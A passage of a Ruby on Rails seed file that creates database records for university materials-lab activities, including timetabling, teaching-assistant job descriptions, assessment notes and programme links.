RoomBooking.where(activity_timetable_id: at458.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a458.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a458.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a458.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a458.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a458.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a459 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"223\").first_or_create!(name: \"Impact testing\",\n name_abrv: \"IMPACTTESTING\", archived: false, in_drive: false, user_id: 4)\n at459 = ActivityTimetable.where(activity_id: a459.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a459.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a459.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will compare the impact toughness for steels of two different composition and two different processing conditions, using impact testers.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a459.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a459.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a459.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a460 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE206\").first.id, code: \"224\").first_or_create!(name: \"Magnetic materials\",\n name_abrv: \"MAGMAT\", archived: false, in_drive: false, user_id: 4)\n at460 = ActivityTimetable.where(activity_id: a460.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a460.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a460.id).first_or_create!(criteria: \"Knowledge of magnetics materials and how to plot and produce a hysteresis loop for magnetic material\",\n job_desc:\"Understand how magnetic fields are generated,\n Learn how to measure field strength.\n Understand the structure of a hysteresis loop.\n Plot and produce a hysteresis loop for a magnetic material.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a460.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a460.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a460.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a461 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"224\").first_or_create!(name: \"Magnetic materials\",\n name_abrv: \"MAGMAT\", archived: false, in_drive: false, user_id: 3)\n at461 = ActivityTimetable.where(activity_id: a461.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a461.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a461.id).first_or_create!(criteria: \"Knowledge of magnetics materials and how to plot and produce a hysteresis loop for magnetic material\",\n job_desc:\"Understand how magnetic fields are generated,\n Learn how to measure field strength.\n Understand the structure of a hysteresis loop.\n Plot and produce a hysteresis loop for a magnetic material.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a461.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a461.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a461.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a462 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"225\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: false, in_drive: false, user_id: 5)\n at462 = ActivityTimetable.where(activity_id: a462.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a462.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a462.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a462.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a462.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a462.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a463 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"225\").first_or_create!(name: \"Materials characterisation\",\n name_abrv: \"MATCHARAC\", archived: false, in_drive: false, user_id: 2)\n at463 = ActivityTimetable.where(activity_id: a463.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a463.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a463.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a463.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a463.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a463.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a464 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"226\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: false, in_drive: false, user_id: 3)\n at464 = ActivityTimetable.where(activity_id: a464.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a464.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a464.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a464.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a464.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a464.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a465 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"226\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: false, in_drive: false, user_id: 2)\n at465 = ActivityTimetable.where(activity_id: a465.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a465.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a465.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a465.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a465.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a465.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a466 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"227\").first_or_create!(name: \"Materials selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 3)\n at466 = ActivityTimetable.where(activity_id: a466.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a466.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a466.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a466.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a466.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a466.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a467 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"227\").first_or_create!(name: \"Materials selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at467 = ActivityTimetable.where(activity_id: a467.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a467.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a467.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a467.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a467.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a467.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a468 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"227\").first_or_create!(name: \"Materials Selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at468 = ActivityTimetable.where(activity_id: a468.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a468.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a468.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a468.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a468.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a468.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a469 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"227\").first_or_create!(name: \"Materials Selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at469 = ActivityTimetable.where(activity_id: a469.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a469.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a469.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a469.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a469.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a469.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a470 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 1)\n at470 = ActivityTimetable.where(activity_id: a470.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a470.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a470.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a470.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a470.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a470.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a471 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 4)\n at471 = ActivityTimetable.where(activity_id: a471.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a471.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a471.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a471.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a471.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a471.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a472 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 3)\n at472 = ActivityTimetable.where(activity_id: a472.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a472.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a472.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a472.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a472.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a472.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a473 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 5)\n at473 = ActivityTimetable.where(activity_id: a473.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a473.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a473.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a473.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a473.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a473.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a474 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 2)\n at474 = ActivityTimetable.where(activity_id: a474.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a474.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a474.id).first_or_create!(criteria: \"Hands-on experience on Mechanical Testing Techniques (Tensile Testing, Charpy and Hardness).\",\n job_desc:\"To determine mechanical properties of copper and aluminium, measuring key parameters, performing calculations and generating important plots.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a474.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a474.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a474.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a475 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"230\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: false, in_drive: false, user_id: 5)\n at475 = ActivityTimetable.where(activity_id: a475.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a475.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a475.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will gain experience in using tensile test frames and extract mechanical properties from them such as Young’s modulus, yield stress, and ultimate strength for steels of different composition.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a475.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a475.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a475.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a476 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"231\").first_or_create!(name: \"Nylon testing\",\n name_abrv: \"NYLONTESTING\", archived: false, in_drive: false, user_id: 1)\n at476 = ActivityTimetable.where(activity_id: a476.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a476.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a476.id).first_or_create!(criteria: \"\",\n job_desc:\"This lab practical, which will run in two sessions, seeks to give you knowledge of the characteristics of polymers. The first session will show how polymers are formed and the second session will investigate their mechanical (tensile testing and hardness) and chemical properties.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", 